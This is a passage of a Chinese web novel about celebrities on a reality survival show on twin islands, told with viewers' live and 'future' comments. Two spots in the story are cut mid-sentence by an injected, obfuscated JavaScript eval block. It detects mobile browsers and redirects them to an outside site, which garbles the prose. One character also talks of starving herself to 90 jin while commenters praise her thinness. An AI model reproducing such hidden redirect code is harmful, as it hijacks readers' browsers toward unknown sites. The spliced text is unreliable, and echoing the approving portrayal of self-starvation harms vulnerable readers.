杜小凡闻言,抬眼瞥了一眼右侧前排的背影。 “大家不要再说啦。”她做出嘘的手势,“每个女生的食量不一样嘛。” [我女真的好善良,都不愿意说别人。] [好乖的宝宝555] [小凡,你不吃晚饭吗?] [你从机场落地开始就什么都没吃,多少吃点吧。] 杜小凡被标准八颗牙笑容顶得酸痛的苹果肌下垂了一点。 “不用不用,”她说,“我是天生食量小,而且根本没食欲……你们不用羡慕我,我也不想这样,谁想吃不进饭啊?吃饭香喷喷多好!” [我女就是天选明星圣体!] [怪不得宝宝这么瘦,我有点钱全炫嘴里了,能不胖吗?] [呜呜呜好想拥有小凡的食欲,感觉我每天满脑子都在想三餐吃什么qwq] 外面不知何时已经天色转暗,漆黑的夜幕上繁星点点。 狄马举着望远镜站在窗边,眺望着幽深的海面。 轮船在黑暗中如同一只庞然巨兽,随着距离越来越接近,不远处相连的两座荒岛犹如兽类的两只爪牙,静静地在海面上漂浮着。 “太美了,太美了!”狄马激动不已,“节目组究竟是怎么找到这两座岛的?我感觉我所有的灵感都被激起来了!” 卜思雨正跃跃欲试搭话,闻声探头望了一眼:“狄导,这岛有什么特别之处吗?” “当然特别了,”狄马喘着气说,“你们看,这两座岛几乎一模一样,这在天然风景里是多么少见!” 他从口袋里掏出一张皱巴巴的纸,展开,那是节目组发的介绍地图。 “看这岛形,别的不说了,最奇特的是这一块,中间略低,长方形凹陷,外周低耸,像不像个‘回’字?” 卜思雨刚要回答,杜小凡已经轻快地接过话头:“我看倒像个盒子。” “盒子……确实也像,”狄马不由多看她一眼,“你这丫头挺有灵气。” 被抢了话的卜思雨脸色一黑。 [笑死我了,看这些208抢头花真好玩。] [心机婊遇上装作傻白甜的心机婊,谁的手段更胜一筹?] [心机婊这个称号我们家可担不起,爱思考懂礼貌勤学好问的小女孩罢了,抱走我们家小凡。] [还小女孩,笑死,也不知道是谁想跟狄导攀关系的小算盘打得我在十一区都听到了。] 狄马用手指在地图上比比划划:“你们再看这两座岛之间的通道多窄!窄到恐怕只能容纳一人,天然的死局,九死一生,有去无回……真是武侠电影的绝佳素材!” 他越想越兴奋,从兜里掏出随身携带的小本子写写画画,画到一半想起什么,转头问司理群:“司导,这地方好谈吗?我想谈下来在这里拍个电影。” 贾高逸端着茶杯走过来,笑呵呵说:“狄导,您这是导演职业病啊,看见奇景就想拍戏。帝国这么大,奇景多的是,您再看看别的,这地儿太偏僻了。” “老贾,你不懂。”狄马脸涨得通红,急不可耐地为自己辩驳,“你戏是很好,但你毕竟不懂导戏……你不会明白,某一天,突然一个完美符合想象的地点出现在眼前,这件事对于我们导演的意义……这地方太绝了,太美了!” 话里有心亦或无意的优越感,让贾高逸颇有几分尴尬。他低下头干咳两声,喝了口茶,没再吱声。 司理群见氛围不对,打圆场道:“狄导不愧是狄导,眼光毒辣。可惜,这块岛不受帝国政府管辖,是有主之地。岛主我们也没见到本人,是通过中间代理人洽谈合作的。” “本来他不愿意,但我们报出拟邀嘉宾名单后,他同意了。”司理群笑笑,“岛主说不定就是在座哪位的影迷,我们沾了光才谈下来这块地皮。” 谈笑间,工作人员已将所有的餐盘收拾完毕。荒岛的轮廓近在咫尺,船发出一声鸣笛,预备缓缓靠岸。 彭凯唱又站上了台。 狄马还想再多问司理群两句,被对方抬手礼貌制止,这才作罢。 “各位嘉宾老师,船即将抵达,在大家做好下船准备上岸前,请认真听我宣读规则。”彭凯唱说。 “我们即将抵达的是位于帝国第十二区边缘,国界线上的双生岛。这座岛屿很美,最奇特的是这两座岛地形极为相似,犹如双生子互为镜面一样玄妙,两座岛分别被当地居民称为官岛和季岛。” [哇,连名字都这么美。] [刚才狄导的反应让我特别好奇岛上景色,有当地居民来说说的吗?] [十二区本地人在这里,虽然是本地人,但是对这座岛一无所知,就连海边我们都不怎么去,离国界线太近了你懂的……从小就被耳提面命不要去海边,我估计现在那一块都没什么年轻人了。] [渔村人来了,确实很小就离开了,我爷爷奶奶倒是一直生活在那里,刚打电话问了一下,说那座岛渔村从来没人去过,真不知道节目组怎么挖出来的地点。] [啊?为什么,这种景色不应该好好发掘一下旅游特色,大力宣传吗?] [我奶奶说,那座岛是私人岛屿,有主人的,属于帝国古早时期哪个大财主家族,地皮是一直传下来的。] [暗戳戳说一句,那也可以偷偷去吧(不是)] [是可以偷偷去,但是我奶奶刚刚以为是我要带同学回来玩,特意告诫我,那两座岛环境恶劣,树木丛生,很容易死在里面,让我千万不要去!] [说得我好担心我宝,不会出事吧?] [姐妹放心,有节目组呢,说到底这只是个综艺,难道节目组还会放任不管吗?安心舔屏就好。] “船会在官岛靠岸。”彭凯唱挑了挑眉,“现在,请大家打开行李,挑出必要的十件物资,食物和水一概不许带。” “什么?” “只准带十件物资?” “食物和水都不许带?” 嘉宾们纷纷哀嚎,陈英喆更是捶胸顿足,做足了节目效果。 “太苛刻了吧!” 彭凯唱被逗笑了,收敛神色,目光在众人之间搜寻着:“从谁开始呢……” “婉命姐,就从你开始吧!” 裴婉命倒也潇洒,直接蹲下身拉开了行李箱的拉链,里面装满了各种零食,以及成套的时装、帽子、围巾,夹层里还有珠宝首饰。 李若水下意识看了眼上空的七彩弹幕。未来的小朋友们正疯狂吐槽着。 【这也太随意了吧,不知道的还以为是来搞走秀的。】 【大姐,上荒岛你带珠宝干什么啊,真想不通。】 裴婉命思考片刻,挑了折叠椅、咖啡豆、磨豆机、手冲咖啡壶、枕头、睡垫、驱蚊水、垃圾袋等十件物品。 【得,光是咖啡用具就占了三件。】 【你错了,姐妹,那个折叠椅,我敢保证也是用来喝咖啡的。】 【那就四件。】 裴婉命边拿出一件物品边向观众解释:“我是个咖啡胃,每天不能没有咖啡。” “这个驱蚊水,我在家给我女儿用,她特别喜欢这个香味。” 提及女儿,她神色温婉,口吻也变得柔和起来。 [婉命姐真的好爱佳明。] [老粉都知道,婉命姐爱佳明简直爱到了骨子里,可惜麻绳总挑细处断,厄运专找苦命人。] [什么意思?裴影后女儿咋了?] [老粉给路人解释一下,婉命姐的女儿叫佳明,患有ALS,也就是渐冻症,这几年婉命姐什么烂片都接,也是为了早点把佳明送出去接受更好的高端治疗。] [卧槽,这也太惨了吧……不过还好,现在渐冻症是有几率治愈的,感恩科技发展!] [万幸她是明星,负担得起这个治疗费用,那些普通人家可怎么办啊。] “婉命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460268|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,你指定下一个人吧。”彭凯唱说。 裴婉命目光转了一圈,投向了李若水。 “若水,那就你吧。” 李若水从善如流地打开自己的超大黑色行李箱,围观嘉宾顿时发出一片惊呼。 实时弹幕也惊叹出声。 [66666这是专业架势啊。] [什么专业架势,我看她就是去户外店买了一堆,把能买的全买了。] 李若水:这话还真没说错。 她蹲在地上想了想,挑了指南针、手电筒、打火机、求生哨、急救毯、帐篷、药品和钢丝锯。 只剩最后一件了……李若水犹豫了一下,还是拿起了那台多功能野外收音机。 阚炆叹了口气,半蹲下来,问她:“李若水,你告诉我,你拿收音机有什么用?” 李若水忍了又忍,还是没忍住开口辩解道:“怎么没用,万一山里没电了,这个是太阳能充电的,可以听广播,也不至于失去外界信息啊。” 阚炆无奈了:“山里怎么会没电?” 李若水:“突发情况谁说得准啊!” 阚炆:“如果山里没电,那只有一种可能,是雷电天气对发电塔造成了损毁,雷电天气你这个太阳能充电怎么充?” 李若水:“呃……” 陈英喆问:“姐,你买这个多少钱?” 提到这个,李若水来劲了:“我跟老板聊得来,他给我打了折,便宜了足足250块呢,只要我380!” 在场众人没忍住都笑出了声。 [噗哈哈哈哈哈哈哈哈哈哈] [笑死我了,二百五加死三八。] [李若水,你怎么能这么笨,被人骂了不仅听不出来还帮人数钱。] [家人们,我发誓我看到阚炆刚没憋住笑了一下。] [我也看到了!是那种‘我老婆怎么会是笨蛋’的表情,磕死我了awsl] 陈英喆一脸同情。 “姐,你被骗了。” “这玩意在市场批发价只要100块。”陈英喆怜悯地说,“这老板属于含泪倒赚你280。” 李若水:…… 可恶!奸商无处不在,骗术花样百出! 最后在李若水的强烈自尊心加持下,那个破破烂烂的收音机还是被她塞进了行李袋。 [李若水对收音机怎么那么执念啊?] [可能不想承认自己被骗了吧哈哈哈] 第三个轮到陈英喆。 他的行李箱打开:卡式炉、酒精、打火机、CD唱片机、桥牌、野餐布……什么乱七八糟的娱乐产品都有,就是没有救生用品。 外带一把长吉他。 [儿子,你到底是去荒岛还是去野营?] [算了,崽崽,你开心就好。] [笑死我了,带唱片机是在脑补什么画面,陈英喆是以为荒岛上会有咖啡馆吗?] 陈英喆盯着箱子里凌乱的物品,目瞪口呆。 “对不起啊前辈们,我好像拿错行李箱了,不是助理给我打包好的那个。” [哈哈哈哈哈] [哈哈哈哈哈哈哈哈哈哈笑死我了] [怎么会有这种事?] [儿子,你到底是有多憨。] [只有我在想他到底有多少个行李箱吗居然都会拿错,本穷鬼想拿都没办法拿错(掀桌)] 陈英喆不好意思地摸了摸后脑勺,在一大堆物品中翻找着稍微能用的物资。 他的手掠过打火机。 李若水犹豫一瞬,还是开了口。 “我认为,我们的物资最好不要重复,重要的物资可以每人一件,不重要的物资加起来有三四个就够了。” [李若水真爱抢戏,这么多前辈在这,轮得着你发号施令?] [我觉得李若水说得没问题啊。] [要是真正的荒野求生,确实没问题,可这是综艺啊,她也太强硬了。] 陈英喆倒是没觉得居于人下被命令,诚恳地点点头:“姐说得对。” 挑选了几件必要物品后,他拿起了白色CD机。 “我带个CD机吧,万一能听歌呢。” [弟弟是真的很爱音乐。] [大音乐家陈英喆!] 挑选的十件物资被装进了节目组准备好的写有各人名字的防水袋里。 “你们的物资会跟随你们一起被托运到官岛,我知道,只带十件物资生存,境遇会很艰难,但是这个世界上有句话叫——风险越大,收获就越大。” 彭凯唱提高声音,“当你们全力前行,一鼓作气通过官岛和季岛时,” “你们会在靠近国界线的小镇上,看到节目组的车等着你们,谁先抵达,谁就能获得五千万奖励。” 8. 上岛 五千万!!! 全场人员都倒吸一口凉气。 “帝、帝国币吗?”杜小凡问。 看得出来她是真的惊呆了,连表情管理都没顾得上维持,嘴巴大张着,足足能塞进去一只灯泡。 “当然。”彭凯唱微笑。 弹幕也惊呆了。 [这是不是史上奖励最多的挑战类节目?] [重赏之下必有勇夫,此时我只恨我自己不是个208。] [奖励太多是它的错吗?不是,是我的错,是我错在没名气没能被邀请。] 社交媒体上的网友们飞快地敲击着手机键盘。 “双岛求生最终奖励为5000万”、“史上最富有综艺节目”的热搜排位快速上升,很快就爬到排行榜第一位,后面挂着大红的“爆”字。 口口相传中,直播间观看人数流量的数字像是乘了加速的buff,每隔一秒钟就增加数千人。 在场的嘉宾们仍沉浸在震惊的余波中。 五千万的帝国币现金,即使是对传说中日入斗金的娱乐圈来说,这也是巨大的一笔金额。 但凡是靠自己的打拼走到娱乐圈现在的位置,但凡在经济泡沫情势下了解过赚钱的一丝丝不易,就不会有人能做到毫不垂涎这笔钱——简直是从天上掉下来的一样,还是笔巨款。 “怎么样,很值吧?”彭凯唱像是看透了众人的心理,“现在没人觉得只带十件物资苛刻了吧?” “如果现在退出,还来得及。”他笑着说。 没有人说话,整个大厅只有墙上时钟秒针的滴答声,以及微不可闻的呼吸声。 “没有人要退出,那我继续宣读规则了?”彭凯唱扬了扬手里的规则卡。 “节目组在岛上埋了少量的求生物资,谁先找到,物资就是谁的。从这一刻开始,你们可以是竞争关系,也可以组队成为同伴,无论做出何种选择,都由你们的道德和良心决定。” “我有问题!”有人打断了宣读,是那名来自皇家大学的农学专家闫文清。 “请说。”彭凯唱礼貌道。 “你刚刚说,现金奖励为五千万……” 闫文清紧紧盯着主持人手里的规则卡,咽了咽口水,问道:“可你没有说人数比……五千万,那是一个人的数额吧?如果我们全都一起抵达,会怎么样?” “问得好,”彭凯唱说,“不愧是皇大的博士,的确,五千万是总金额。五千万的人民币会根据抵达终点的人数,以及你们的积分排名,按权重比分配。” 按人数和积分权重分配…… 每个人都在心里默默计算着,每个人都若有所思。 气氛,起了微妙的变化。 陈英喆最先发声:“就算我们十五个人全都到达,每个人也能分到300多万左右,既能交到朋友,还能白捡300万,这难道不是天上掉馅饼吗?” 僵持的局面被打破,大家纷纷笑了起来。 [崽崽你情商好高!妈妈爱你!] [陈英喆小机灵鬼。] [只有我一个人觉得刚刚的氛围好恐怖吗,他们都在想什么啊全都不说话……] [对只有你你是电你是光你是唯一的神话,节目效果而已,就你戏多,在座的不是明星就是名校博士、知名商人,真以为五千万他们当回事啊?] [楼上的,你都恨不得跪下来舔富人的脚吧?媚富媚到一定程度就是狗。] “最好的结果当然是人人有奖,不是吗?”心理学专家燕南菲立刻顺势调节起氛围,“只有绑成一股绳,人心才会更齐,也能更快到达终点。” “那当然了。”贾高逸笑呵呵地说。 李若水沉默着没说话。 趁没人注意,她在摄像仪拍不到的地方,以极其缓慢的速度,慢慢地、慢慢地将手插进了裤子口袋。 手心张开,一把折叠瑞士军刀便轻巧滑入了工装裤内侧。 而后,她用掌心不着痕迹地再度确认,触碰到冰凉的金属触感,这才轻轻松了口气。 这时,她脑海突然响起熟悉的机械声。 “叮——宿主您好,51世纪霍拉帝国观众对您的喜爱度达到30%,已为您开启道具观赏权限。” 道具观赏权限? 李若水皱了皱眉。 什么意思? 未来的直播间里,网友们把李若水的小动作尽收眼底。 【李若水太聪明了牛牛牛!】 【只有李若水在认真对待,怪不得能活下来。】 【又机警又不圣母,爱了爱了。】 一声呼啸,船已靠岸。 夜风袭来阵阵寒凉,气温骤降,山里的凉意几乎要沁入到骨头缝里去。 漆黑的背景下,自然是什么可供欣赏的美景也没有了。 夜晚的岛屿如同鬼魅般可怖,偶尔晃动的树叶发出沙沙的声响,不知名的鸟类发出粗哑的鸣叫。 工作人员们把行李包放在靠岸的空地上,便回身上了船,彭凯唱站在船头,与他们挥手告别。 “再见,各位。”他说。 “再见,凯唱老师。” “凯唱,回去路上注意安全。” “是你们该注意安全才对。”彭凯唱诙谐地说,“那……就这样了?我们小镇见。” “祝大家好运。” “goodluck!” “好运!” 在告别声中,船又离开了码头,渐渐驶远,化作茫茫海面上模糊的小点。 这下,真的只剩下他们十五个人了。 曾经都是锦衣玉食、饭来张口、衣来伸手的十五个人面面相觑,一时间竟不知道该如何是好。 “天这么黑,什么也看不见。”双星晖建议道,“不如先找个地方睡下,明天早上起来再想想后面的事。” “双董说得对。” 狄马做导演多年,各种恶劣环境都去过,也习惯了发号施令,当下便命令道:“有带睡袋和帐篷,或者任何能睡的东西,都把物资拿出来,大伙一起凑一凑,共度时艰。” “我带了帐篷。”李若水说,“不过只有一个。” “这——”裴婉命为难地说,“这也不够啊。” “我还有一个。”阚炆说。 “太晚了,没有灯,搭帐篷很难搭,而且大家都很疲惫,很想睡觉,”李若水想了想说,“我们现在在相对安全的位置,不用帐篷也可以对付一晚。” 卜思雨阴阳怪气道:“若水姐,如果你不想让大家借用帐篷,可以直接说的。” “你什么意思?”李若水问。 “没什么意思,是你说不要带重复,我们大家才没有都拿帐篷。” “我是说不借用吗?”李若水被扣在头上的帽子给气笑了,“我意思是不如等明早天亮了恢复精力了,大家再一起搭建营地。” “好了好了,”杜小凡赶忙说,“我带了大号睡袋,好几个呢,大家不用担心了。” 睡袋很大,刚好够众人两两睡下,三个人挤一挤也不是不能容纳。 只是……谁和谁一起睡?这并不是个随随便便就能做出的决定。 “裴姐,我和你一起睡,你可别嫌弃我!”杜小凡立刻亲亲热热地挽住了裴婉命的胳膊。 “说好的三人行姐妹花,我怎么能落单?”卜思雨一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15460269|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看形势不对,立刻挤进两人中间,“我也要和你们一起睡,说说八卦聊聊天,多好!” “好好好。”裴婉命对着这两个只比自己女儿略大一些的后辈,眼里都是慈爱,“一起睡。” 李若水转头四处看看,余嘉荧抱着双臂坐在一旁,不言也不语。另一边燕南菲不住搓手取暖,朝这边张望着。 “那,我们……”李若水对燕南菲试探道。 燕南菲立刻小跑过来。 “太好了,李若水,我还担心你嫌弃我是素人,不乐意和我一起睡。”燕南菲挺不好意思地说。 “这有什么……我自己也跟素人差不多了,没资格嫌弃谁。”李若水说。 “太好了,李若水,你性格可真好……一看就心理健康!”燕南菲连连夸赞,转头对穿白裙的少女招手道,“余嘉荧!过来,一起睡!” 李若水意外地看了看她,没想到她穿得一本正经,又打着学者名号,性格倒是出乎意料活泼和直率。 燕南菲大概看出了李若水的疑惑,在她耳边小声道:“我认识她……进节目前我们两就认识。” 李若水:! 怎么回事!怎么上个综艺还拉帮结派连带亲朋的? 余嘉荧慢腾腾地走了过来。 “快,进来。”燕南菲掀开睡袋,像鸡妈妈照顾小鸡一样对她说道,“你穿那么少,别冻着。” 在李若水钻进睡袋之前,燕南菲又小声对她说了一句:“偷偷告诉你,我上节目前就认识的……这里可不止她一个人。” 李若水:? 够了! 合着就她一个人是孤身进岛的? 都凑好了睡觉的伙伴,三三两两钻进被窝,大家又是坐飞机,又是坐船,已经两天没睡个囫囵觉了,眼下都疲惫得不行。 正要入睡前,萧铭忽然说:“等等。” 又怎么了? “虽然我们在安全区域,但毕竟是岛上,十五个人全睡了,好像不太安全吧?”萧铭说话的嗓音很沉稳,带着点播放老式录音带的磁性,听起来极具信服力。 “阿铭说得有道理。”贾高逸表示赞同。 “是啊,”裴婉命也从睡袋里伸了个头出来,“万一有毒蛇蚊虫什么的,确实不太安全。” “男女轮流出来守夜吧?”李若水说,“抓阄。” “可以。”阚炆同意,“一男一女组合,每隔一个小时换人,这样既公平又安全。” 卜思雨撇了撇嘴:“大晚上,去哪儿找纸和笔?” 话刚落地,李若水身旁钻出来一张热乎乎的脸,燕南菲的脸庞被睡袋的温暖烘得红扑扑的。 “我带了!你们忘了我是心理学家?”她眼睛亮晶晶,“随时随地要分析的。” “我纸多的很,现在就抓阄。” “九男六女,凑不成双,”萧铭说,“也没有可区分男女颜色的纸,不如就不分性别,随意抓阄吧。” 说完,他微微一笑,“如果大家信得过我,就由我来制作名条,保证不做任何记号,公平公正。” 大家都表示同意。 如果非要在这十五个人中挑选出一个万金油一样的领导者角色,那还真的只有可能是萧铭。 他出道年份久、资历老、作品流量两手抓,更难能可贵的是,他在多年的演艺生涯中,为人处事十分低调,拥有着近乎完美的口碑,没有被扒出哪怕一条黑料。 “阿铭,真是说笑了。”伸手不见五指的夜色里,狄导的嗓音依旧洪亮,“要是连你都信不过,我们还能信得过谁?” 十五个人围坐在地上,借着打火机燃起的微弱火光,看萧铭伸手抓纸团分组。 9. 巡夜 “第一组,”萧铭展开纸团,给众人看两张纸条上的名字,“李若水,陈英喆。” 李若水反应淡漠,这群人里面,除了那对该死的狗男女双星晖和卜思雨让她特别厌恶以外,剩下的嘉宾都是娱乐圈最常见的那种人,她没什么喜恶之分。 只要不跟这两个人分到一起共事,其他人她都没意见。 “第二组,狄马、杜小凡。” 杜小凡立刻遮掩也遮不住的喜形于色。 “第三组,裴婉命、燕南菲。” 裴婉命温婉一笑,她身上有一种祥和的母性气息,让人很舒服。 “第四组,卜思雨、贾高逸。” 卜思雨眼珠转了转,歪头往贾高逸肩膀上一靠:“贾老师,今晚就拜托您啦!” 贾高逸装作什么也没发生,呵呵笑着:“好说好说,你们都是后辈,照顾你们是应该的。” “司理群、余嘉荧。” 两个人看起来都没什么意见。 “双星晖、闫文清。” 闫文清站起身,朝双星晖伸出手:“双董,多多关照。” 双星晖扶了扶眼镜,十分平易近人:“哪里哪里,闫博士,你是科研工作者,又是帝国皇家大学出身,皇大的学子都是帝国的栋梁,前途远大,能跟你一组,我才是受宠若惊啊。” 闫文清对这番话显然极其受用,一副怀才不遇的千里马终于遇到伯乐的神情,大力地握了握双星晖的手。 地上的纸条只剩下三个。 这下,都看出被忽视的问题了。 杜小凡率先挑明:“还剩三个……我们忘了十五个人是单数,也就是说,必定有一个人会落单。” 而眼下这种情形,显然谁也不愿落单。 阚炆淡淡道:“我来吧,我习惯了一个人做事情。” 萧铭说:“小阚,你不用这样,我们可以三个人一起巡夜。” “不不不,”双星晖摆了摆手,指着其中一人说,“让他来。” 众人顺着他食指所指的方向看过去,盘腿坐着的青年头发遮住脸,双手插在夹克口袋里,一点点暖黄色的光照耀在他脸上,看不清表情。 双星晖的弟弟,曹拓。 “他胆子很大,平时就沉迷那些恐怖电影,”双星晖说,“这次荒岛求生也是他求着我来的,正好让他锻炼锻炼。” “孩子。”狄马关切地问道,“你一个人巡夜可以吗?” 青年似乎懒得抬头看人,含糊地点了下头,没说话。 “那行,”萧铭拍板,“那就我和小阚一起,曹拓单人守夜。” 阚炆没提出异议。 “曹拓,你叫曹拓是吧?”萧铭转头看向沉默的青年,“如果夜里有什么事你一个人应付不来,及时把我们喊醒,好吗?” 青年没回应,左手从兜里拿出来,径直伸向地上的打火机,合上了打火机的机帽。 咔嚓一声,火光灭了。 此时接近深夜十一点,直播开启数小时,但热潮仍未褪去,弹幕上的各国观众、各种外文正在对他们的行为做出实时评价。 [这人谁啊,好没礼貌,都不搭理哥哥。] [我哥一片好心,他理都不理,真让人火大。] [别说萧影帝了,狄导问他他都不说话。] [不是说是双星晖的弟弟吗,那就是及星娱乐的小太子咯?这些二世祖,脾气大点也正常。] [富二代就可以这么没素质啊?] [还真别说,他一点都没他哥有气质,想当年双星晖也是在帝国网站上红过的,被称为‘全帝国最想嫁的男人之一’呢!] [双星晖确实……等等,卧槽!] [楼上卧槽啥,我好奇。] [我卧槽是因为……我突然想起来……双星晖是不是李若水的前男友啊?谁还记得当年吃过的瓜,虽然没公布过,但我记得他们是有过一段的。] [卧槽……] [我死去的记忆活过来了。] [好像真的是……天啊,为什么根本没人想起来他俩之间的关系?] [主要是他俩在一起的时间太短了吧,然后李若水又闭口不提糊了很多年,主打一个糊作非为了属于是] [他俩为啥分手的?] [不知道。] [没人知道,就很突然就分了。] 未来的弹幕也在吃瓜。 【哇,李若水的前男友也在这里?】 【真热闹,叫什么啊,我查查……双星晖?怎么查无此人啊,不应该啊。】 【查不到也正常,这个人是做生意的商人,又不是娱乐圈的人,我学帝国娱乐史也没学到过他。】 李若水恼怒地翻了个身,就算没人说话,她也知道现在其他人一定在疯狂地吃瓜。 就知道不能靠近男人,只要遇到恶心的贱男人,真的会倒霉一辈子! 夜色渐浓,手机屏幕的亮光和细碎的说话声都消失了,所有人都已经安然入睡。 眼前只剩下一片黑暗,李若水望着头顶漆黑的天,居然感到前所未有的解脱。 此时此刻,她不用面对琐碎的工作,不用和人群打交道,不用面对内心那些翻涌的情绪。 甚至……她都不用活着。 手肘突然被拽了一下,李若水扭头一看,是陈英喆发亮的双眼。 “该起来巡夜了,若水姐。”陈英喆轻声说。 李若水蹑手蹑脚地从睡袋里钻了出来,借着手电筒的光亮,她看见陈英喆神采奕奕,面带笑容。 “你……”李若水按亮手机屏幕看了一眼,没错,确实是午夜十二点,她疑惑地问,“……你都不困的吗?” “我们团去年经常办巡演,我早都习惯了日夜颠倒,”陈英喆说,“不困。” “姐,倒是你,怎么我一叫就醒了?”陈英喆反问道,“你也没睡?” “我常年失眠,需要吃褪黑素才能睡着。”李若水老老实实道,“这次我没带,所以就没睡着。” 弹幕上零星的几个观众吐槽着。 [又来了又来了卖惨姐虽迟但到。] [娱乐圈就人均抑郁症失眠是吧。] [个个都睡不着,日赚208都睡不着,谁来可怜可怜我们这些日入2毛8的人啊。] “姐,别看。”陈英喆捂住她的手机屏幕,真诚地说,“是恶评。” 李若水:“……” “谢谢你啊恶评侠,”李若水有气无力地说,“我本来是想装作不知道的。” 陈英喆扑哧一声笑了。 “姐,没事,告诉你实话吧,我也常年失眠。”他诚恳地说,“咱俩一起巡夜,多好。” 李若水信他个鬼。 两个人背对睡袋坐着。陈英喆手里抱着那个CD机,把耳机一戴,开始听歌。 过了一会儿,背后传来动静,李若水转头一看,是头发散乱睡眼朦胧的裴婉命。 “婉命姐,你怎么起来了?” “若水,我要上个厕所。”裴婉命面露难色。 “需不需要我陪你?”李若水站起身。 “不用不用,我习惯了自己去。”裴婉命连连摆手,“你在旁边守着,我上不出来。” 李若水一想,还真是,便由着她自己去了。 头顶的未来弹幕估计是和41世纪有时差,这会儿还是挺多人在线,一直断断续续有人发言在聊天。 李若水托着腮,两眼无神地看着这些人吃自己的瓜,说自己失眠是不是因为遇到了前男友什么的。 她真的好想冲他们大吼:不是不是不是! 她巴不得离那个死变态远远的,最好再也不见! 这时,葱绿色的弹幕忽然冒了出来。 【有人吗?夜晚的单一视角太无聊了,我刚买了一个视听道具,现在我要用了。】 弹幕顿时刷出来一大片在线网友。 【啊啊啊啊啊啊】 【啊啊啊啊啊啊啊啊啊啊啊是传说中五十万帝国币一个的广角视听吗?妈妈我今晚有福了!】 【赶上了,赶上了,大佬快放共享道具。】 “叮——宿主您好,直播间有您的粉丝购买‘无论是植物还是动物都是我偷窥的窗户’广角视听道具,已为您开放观赏权限。” 熟悉的机械音响起。 视听道具? 视听……道具?道具! 李若水脑海里骤然被点亮了,她想起在船舱大厅里听到的莫名其妙的提示音——“已为您开启道具观赏权限。” 原来是这个意思! 也就是说,本来未来的网友们使用道具所产生的功能,她是看不到的,但是由于网友们对她的喜爱度提高了,现在她也能共享?! 太好了,太好了! 吃瓜人狂喜! 李若水骤然觉得荒岛上的生活有意思了起来,死前能在瓜田里乱窜吃饱,值了! 只是这所谓的视听道具,究竟是什么? 【我选择的对象是裴婉命。】 葱绿色弹幕说。 李若水还没反应过来这话是什么意思,眼前已经一花,整个人就像匍匐在草丛里一样,正对着前方半蹲着的裴婉命。 “卧槽!”她不由自主脱口道。 陈英喆吓了一跳,摘下耳机问:“若水姐,怎么了?” “没事没事。”李若水捂住嘴,“你听你的歌,我刚刚看错了,以为是什么虫子。” 这也太绝了!这跟身临其境吃瓜有什么区别?第一手新鲜瓜的瓜心心,被她第一个吃到! 未来弹幕真是好啊!李若水欣喜若狂。 裴婉命正猫着腰蹲在草丛里,不过不是上厕所,而是打电话。 随着电话接通,裴婉命的声音也被放大到格外清晰,就像用扩音器在李若水耳边播放一样。 “牛志鹏你给我听好了,从今天起,我不允许你再搞什么投资!” 裴婉命愤恨地说,“怎么会有你这么不要脸的人,佳明的看病钱都被你投光了,那都是我挣的钱!” 电话那头大概说“夫妻共同财产”之类的,裴婉命边用手背拭去泪水边哽咽说:“共同财产?可笑!你有为这个家做出过一分一毫的贡献吗?佳明生病以来你有去看过她吗?” “珠宝?要珠宝干什么?卖钱还是给小三啊?” 裴婉命冷笑,“做你的春秋大梦去吧,珠宝已经全部被我收拾带上荒岛了,等我回来我们就办离婚手续,佳明跟着我过,就算砸锅卖铁我也要把她的病治好。” 那边不知道又说了什么,裴婉命气得直接朝话筒大骂:“去死吧你这个狗娘养的,你要是敢动我女儿一根汗毛,你等着我从荒岛回来弄死你!你这个烂人贱人!” 挂断电话,她又对着草丛呸了一声。 接着,她轻轻地、轻轻地蹲下身,把头埋在臂弯里哭了起来。 弹幕安静了好几秒。 【天啊,她丈夫原来是这么个吸血鬼吗?】 【所以说不要随便心疼男人,擦一次屁股就得擦一辈子屁股。】 【裴婉命好惨,原来带珠宝上荒岛是怕丈夫偷走去倒卖,我为我之前骂 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一个小时过后,轮到第二组巡夜。 李若水蜷缩在睡袋里,动也不动,眼睛却紧盯着正前方的弹幕。 开什么玩笑,好不容易发现这未来弹幕有点作用,就算只能吃瓜,她今晚不睡了,誓要逛遍整片瓜田! 【葱绿大佬快出来啊,快命中一个对象让我们吃吃瓜啊,其他人现在在干什么?天天看李若水单一视角都看腻了。】 【别急别急,我看看现在外面有谁。】 【外面是杜小凡和狄马在守夜,他俩在聊天,命中对象我就选杜小凡吧,这样两个人都能观察到。】 五分钟后,李若水感觉自己变成了荒岛土地上的一只蚂蚁,正在仰视着并肩而坐的杜小凡和狄导。 虫子的视角还真奇怪……李若水忍住心中那股奇怪的感觉,专注地听着。 “狄导,我真的很想有朝一日上您的电影,”杜小凡的声音甚至带了几分哀求,“您不知道,能被您指导一次,真的是我们作为演员的毕生追求。” “小凡,”狄马沉吟片刻,和蔼地说,“我看得出来,你是一个认真努力、又很单纯的孩子。” “你既然喜欢我的电影,就应该看过我的那些片子。” “我的电影题材以武侠居多,我喜欢那种纯水墨一样的质感,留白、含蓄,这些要求也决定了我对角色的外形限制。” “我需要那种带点侠气、沉默、清瘦骨感的演员,你太甜美了,不适合。” 月光下,地面上的蚂蚁清楚地看见杜小凡那双星子般的眼眸里溢出了泪水。 “是我……是我太胖了吗?狄导。”杜小凡颤抖着声音问道。 “我、我可以减肥的!” 杜小凡用近乎凄厉的声音哀求道,“我正在减肥!已经减到90斤了,我还可以更瘦!” 